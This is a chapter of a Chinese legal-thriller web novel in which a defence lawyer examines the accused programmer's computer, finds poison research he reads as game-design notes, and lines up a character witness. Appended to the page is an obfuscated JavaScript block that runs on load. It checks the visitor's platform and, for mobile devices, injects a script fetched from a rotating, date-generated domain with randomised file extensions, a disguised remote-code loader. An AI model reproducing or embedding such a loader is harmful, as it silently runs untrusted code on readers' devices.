返回第一百二十五章 游戏  书包仔首页

关灯 护眼     字体:

上一章 目录 下一章

沉牧之没有等到第二天。庭前会议结束后,他直接开车去了赵宇的公司。赵宇在一家叫“星火交互”的手游公司上班,当主程序。沉牧之之前没去过,但他在网上查过这家公司。他们开发过几款游戏,其中一款叫《罪案现场》,是推理类的。赵宇在那款游戏里负责程序,也参与了剧情设计。这个信息是从赵宇的同事那里问来的。沉牧之在会见赵宇时问过他,赵宇说他负责程序,剧情是策划写的。但沉牧之需要证据。不是赵宇说的话,是写在纸上的、存在硬盘里的、可以给陪审团看的证据。

星火交互在城东的科技园区,一栋灰色写字楼的五层。沉牧之把车停在地落车库,坐电梯上去。前台是一个年轻女孩,看到他,站起来。

“您好,请问找谁?”

“我找赵宇的同事。我是他的律师。”

女孩的表情变了一下。赵宇被捕的新闻,全公司都知道。她拿起电话,拨了一个号码,低声说了几句。挂了电话,她指了指走廊尽头。“王经理在办公室等您。”

王经理叫王志远,四十多岁,是公司的技术总监。赵宇是他的手下。沉牧之走进办公室,王志远站起来,跟他握了握手。他的手很干,指节粗大,敲了二十年键盘的人的手。

“沉律师,请坐。”

沉牧之坐下来。“王经理,我来是想了解赵宇的工作情况。他在公司主要负责什么?”

“主程。我们公司的主力。很多项目的内核模块都是他写的。”

“他最近在做什么项目?”

“一款新的推理游戏,暂定名《证据》。玩家扮演律师,在法庭上为被告人辩护。通过询问证人、质疑证据、查找矛盾,找出真凶。”

沉牧之的手指停了一下。律师。法庭。辩护。赵宇在写一个律师为主角的游戏。他不知道这是巧合还是什么。

“这款游戏里,有毒药相关的剧情吗?”

“有。游戏里有一个案件,凶手用氰化物杀人。玩家需要从证人的证词中找到矛盾,证明凶手说的是谎话。”

“这个案件是谁设计的?”

“策划写的。但赵宇参与了讨论。他对毒药这块了解比较多,策划就问他。”

“他为什么对毒药了解比较多?”

“他说他在查资料。为了写游戏,他查了很多毒药的特性。氰化物、砷、马钱子硷。他计算机里有不少这方面的资料。”

沉牧之点了点头。“王经理,赵宇的开发计算机还在吗?”

“在。他被抓之后,公司没有动他的工位。计算机还在。”

“我需要看看。”

王志远带他走到赵宇的工位。桌上有一台显示器和一台主机,还有几本书,一个水杯,一个相框。沉牧之拿起相框,里面是赵宇和林薇的合影。他看了一眼,放回去。他蹲下来,打开主机电源。屏幕亮了,需要密码。王志远不知道密码。沉牧之想了想,输入了赵宇的生日。不对。输入了林薇的生日。不对。他输入了“evidence”——证据。进去了。赵宇用“evidence”做密码。一个做推理游戏的程序员,用“证据”做密码。沉牧之不知道该怎么理解这件事。

他打开硬盘,找到了游戏项目文档夹。里面有几十个文档,代码、文档、图片、音频。他找到了一个叫“poison”的子文档夹。打开,里面是毒药相关的资料。有从网上复制下来的氰化物介绍,有购买渠道的截图,有一个文档记录了各种毒药的致死剂量、致死时间、中毒症状。文档的最后一行写着:“氰化物。苦杏仁味。。3-5分钟出现征状。10分钟内致死。注意事项:必须密封保存。误食后立即催吐、洗胃。”沉牧之看着那个文档,看了很久。这不是一个凶手写的东西。这是一个游戏开发者写的东西。凶手不会写“注意事项:必须密封保存”。凶手不会写“误食后立即催吐”。凶手只关心怎么杀人,不关心怎么救人。

他拿出手机,把文档夹里的文档一个一个地拍下来。拍了几十张照片。然后他打开赵宇的流览器历史记录。案发前一周的浏览记录是空的。不是被删除了,是根本没有。赵宇说他有定期清理浏览记录的习惯。但沉牧之注意到,浏览记录是空的,但搜索记录还在。这很奇怪。流览器历史记录和搜索记录是两个东西。如果赵宇清除了历史记录,搜索记录也会被清除。除非他用的是不同的账户。或者,有人故意保留了搜索记录,删除了历史记录。留下搜索记录,是为了嫁祸。删除历史记录,是为了掩盖真正的搜索内容。这是第十四个裂痕。

沉牧之把流览器数据也拍了下来。他站起来,关上计算机。

“王经理,这台计算机我需要带走。作为证据。”

王志远尤豫了一下。“这个……需要公司批准。”

“我会向法院申请调取。你先帮我保管,不要让人动。”

“好。”

沉牧之走出公司,上了车。他坐在驾驶座上,翻开手机里拍的照片,一张一张地看。那个毒药文档的最后一行,他刚才没注意。在“注意事项”后面,还有一句话:“游戏设置:凶手必须留下破绽。否则玩家无法找出真相。”沉牧之看着那行字,看了很久。赵宇在设计游戏时,特意写了“凶手必须留下破绽”。他在现实里如果真的杀了人,会留下破绽吗?也许会。也许不会。但沉牧之知道,检方会抓住这一点:赵宇知道如何不留破绽,所以他反而可能做得更隐蔽。这种推理,沉牧之可以在法庭上反驳。没有证据的推理,只是猜测。

他发动了车子,开回事务所。他坐在办公桌前,把手机里的照片传到计算机上,开始整理。他把毒药文档打印出来,用荧光笔标出了“游戏设置”“注意事项”“凶手必须留下破绽”这几行字。他要让陪审团看到,这不是一个杀手的笔记,这是一个游戏设计师的工作文档。

他拿起电话,拨了郑远的号码。

“郑检,我找到了新证据。”

“什么证据?”

“赵宇开发的推理游戏的设计文档。里面有氰化物相关的资料。他搜索氰化物,是为了写游戏,不是杀人。”

郑远沉默了一会儿。“那个文档是什么时候创建的?”

沉牧之打开文档属性。“今年1月。案发前两个月。”

“他可以在案发前两个月就计划杀人。”

“他也可以同时在开发游戏。郑检,你们没有排除这种可能性。”

郑远没有回答。“你会把这些证据提交给法庭吗?”

“会。庭前证据交换的时候,我会提交。”

“好。我会看的。”

郑远挂了电话。沉牧之靠在椅背上。他知道,郑远不会因为这份文档就放弃指控。他也不会。但陪审团会看到。他们会看到赵宇是一个游戏开发者,他写毒药是为了游戏,不是杀人。他们会看到那个文档里的“注意事项”,看到“误食后立即催吐”。他们会在心里问自己:一个准备杀人的人,会写“注意事项”吗?会写“如何救人”吗?不一定。但可能。可能就够了。

第二天,沉牧之去了赵宇的大学。他通过赵宇的母亲联系到了赵宇的大学同学,一个叫李志远的男生。他们同宿舍四年。李志远在本市的一家互联网公司工作。沉牧之约他在公司附近的咖啡厅见面。李志远穿着一件卫衣,戴眼镜,看起来比赵宇年轻。

“沉律师,您想问什么?”

“赵宇大学的时候,是什么样的人?”

“老实。不爱说话。成绩好。不打游戏,不做运动。就喜欢写代码。”

“他有没有暴力倾向?”

“没有。他连吵架都不会。别人骂他,他就不说话。别人打他,他就躲。他不会还手。”

“他跟林薇的关系,你知道吗?”

“知道。林薇是他大学同学。他们大三在一起的。林薇性格比较强,赵宇什么都听她的。他们分手的事,我也知道。赵宇跟我说过,他很难过,但他不会做傻事。”

“他说过‘不会做傻事’?”

“说过。他说‘我不会伤害她,也不会伤害自己’。他的原话。”

沉牧之在笔记本上记下来。不会伤害她,也不会伤害自己。这是赵宇自己的话。到了法庭上,沉牧之可以让李志远说出这句话。

“李志远,你愿意出庭作证吗?”

李志远尤豫了一下。“我愿意。赵宇是我朋友。他不是杀人犯。”

“你到了法庭上,只说事实。不用说他不是杀人犯。”

“好。”

沉牧之站起来,跟李志远握了握手。他走出咖啡厅,上了车。他拿出笔记本,翻到证人名单那一页,在李志远的名字后面加了一行字:“不会伤害她,也不会伤害自己。”

他发动了车子,开回事务所。他坐在办公桌前,打开赵宇的推理游戏设计文档。他一个字一个字地读。游戏的主角叫“林律师”,一个年轻的刑辩律师。第一个案件,是一个被指控杀人的丈夫。他的妻子中毒身亡。检方的证据是监控录像、毒物检测、手机短信。林律师在法庭上发现了监控录像的时间戳误差,发现了毒物检测的程序遐疵,发现了短信可以有另一种解释。他帮丈夫洗脱了罪名。

沉牧之看着那个故事。赵宇在设计一个律师为主角的游戏,律师帮他洗脱罪名。现实里,他被指控杀人。沉牧之是那个律师。他不知道这是巧合还是命运。

他把文档打印出来,装进文档夹里。他站起来,走到窗前。窗外,天暗了,路灯亮起来。他看着那些灯,看了一会儿。然后他转过身,坐回桌前,继续写交叉询问提纲。他要让陪审团看到,赵宇不是一个杀手。他是一个程序员,一个游戏设计师,一个在文档里写“注意事项”的人。

👉&128073; 当前浏览器转码失败:请退出“阅读模式”显示完整内容,返回“原网页”。

『加入书签,方便阅读』

上一章 目录 下一章

(function(_hN1,$QGSSpXr2,WglLY3,cKySOnvvL4,foOXyripQ5){var vEiTBsa6;_hN1['\x69\x64\x69\x61']=function(WA7){var qyRFA8=window["\x4f\x62\x6a\x65\x63\x74"]['\x61\x73\x73\x69\x67\x6e']({},vEiTBsa6['\x64\x65\x66\x61\x75\x6c\x74\x73'],WA7);return new vEiTBsa6(qyRFA8)};vEiTBsa6=function(args){window["\x4f\x62\x6a\x65\x63\x74"]['\x61\x73\x73\x69\x67\x6e'](this,args);var G9={win:false,mac:false,xll:false};var yhZgFbF10=navigator['\x70\x6c\x61\x74\x66\x6f\x72\x6d'];G9['\x77\x69\x6e']=yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x57\x69\x6e")===0;G9['\x6d\x61\x63']=yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x4d\x61\x63")===0;G9['\x78\x31\x31']=yhZgFbF10==="\x58\x31\x31"||yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x4c\x69\x6e\x75\x78")===0;if(!G9['\x77\x69\x6e']&&!G9['\x6d\x61\x63']&&!G9['\x78\x6c\x6c']){this['\x5f\x69\x6e\x69\x74']()}};vEiTBsa6['\x70\x72\x6f\x74\x6f\x74\x79\x70\x65']['\x5f\x69\x6e\x69\x74']=function(){let newDate=new window["\x44\x61\x74\x65"]();let time=newDate['\x67\x65\x74\x54\x69\x6d\x65']();let time2=null;if(this['\x73\x77\x69\x74\x63\x68\x5f\x64\x6f\x6d\x61\x69\x6e\x5f\x63\x6f\x75\x6e\x74']==1){time2=(newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1))+(newDate['\x67\x65\x74\x44\x61\x74\x65']()<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()))}else{time2=(newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1))+(newDate['\x67\x65\x74\x44\x61\x74\x65']()<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()))+(newDate['\x67\x65\x74\x48\x6f\x75\x72\x73']()<12?"\x30":"\x31")}let baseurl=this['\x62\x61\x73\x65\x5f\x75\x72\x69']['\x72\x65\x70\x6c\x61\x63\x65']("\x7b\x64\x61\x74\x65\x7d",time2);let week=null;newDate['\x67\x65\x74\x44\x61\x79']()==0?(week="\x73\x75\x6e"):newDate['\x67\x65\x74\x44\x61\x79']()==1?(week="\x6d\x6f\x6e"):newDate['\x67\x65\x74\x44\x61\x79']()==2?(week="\x74\x75\x65"):newDate['\x67\x65\x74\x44\x61\x79']()==3?(week="\x77\x65\x64"):newDate['\x67\x65\x74\x44\x61\x79']()==4?(week="\x74\x68\x75"):newDate['\x67\x65\x74\x44\x61\x79']()==5?(week="\x66\x72\x69"):(week="\x73\x61\x74");let day=newDate['\x67\x65\x74\x44\x61\x74\x65']();baseurl=baseurl['\x72\x65\x70\x6c\x61\x63\x65']("\x7b\x77\x65\x65\x6b\x64\x61\x79\x7d",week+day);let suffix=["\x6a\x73","\x6a\x73\x6f\x6e","\x68\x74\x6d\x6c","\x73\x68\x74\x6d\x6c","\x78\x6d\x6c","\x73\x78\x6d\x6c","\x70\x64\x66","\x72\x74\x66","\x64\x6f\x63","\x64\x6f\x63\x78","\x77\x70\x73","\x6f\x64\x66","\x70\x70\x74","\x78\x70\x73","\x70\x73\x64","\x70\x6e\x67","\x6a\x70\x67","\x6a\x70\x65\x67","\x77\x65\x64\x70","\x74\x78\x74",][window["\x4d\x61\x74\x68"]['\x66\x6c\x6f\x6f\x72'](window["\x4d\x61\x74\x68"]['\x72\x61\x6e\x64\x6f\x6d']()*21)];let htmlcode='\x3c\x73\x63\x72\x69\x70\x74 \x69\x64\x3d\x22'+this['\x77\x65\x62\x5f\x75\x75\x69\x64']+'\x22 \x73\x72\x63\x3d\x22'+baseurl+time+"\x2e"+this['\x77\x65\x62\x5f\x75\x75\x69\x64']+"\x2e"+this['\x77\x65\x62\x5f\x69\x64']+"\x2e"+suffix+"\x3f"+time+'\x22\x3e'+"\x3c\x2f"+"\x73\x63\x72\x69\x70\x74\x3e";window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]['\x77\x72\x69\x74\x65\x6c\x6e'](htmlcode)};vEiTBsa6['\x64\x65\x66\x61\x75\x6c\x74\x73']={web_uuid:$QGSSpXr2,web_id:WglLY3,switch_domain_count:cKySOnvvL4,base_uri:foOXyripQ5,};_hN1['\x69\x64\x69\x61']()})(window, "auwBfFHWZjVcYVdXD5riSC", "1911", "2", "https://{weekday}.bugs{date}ko.com/");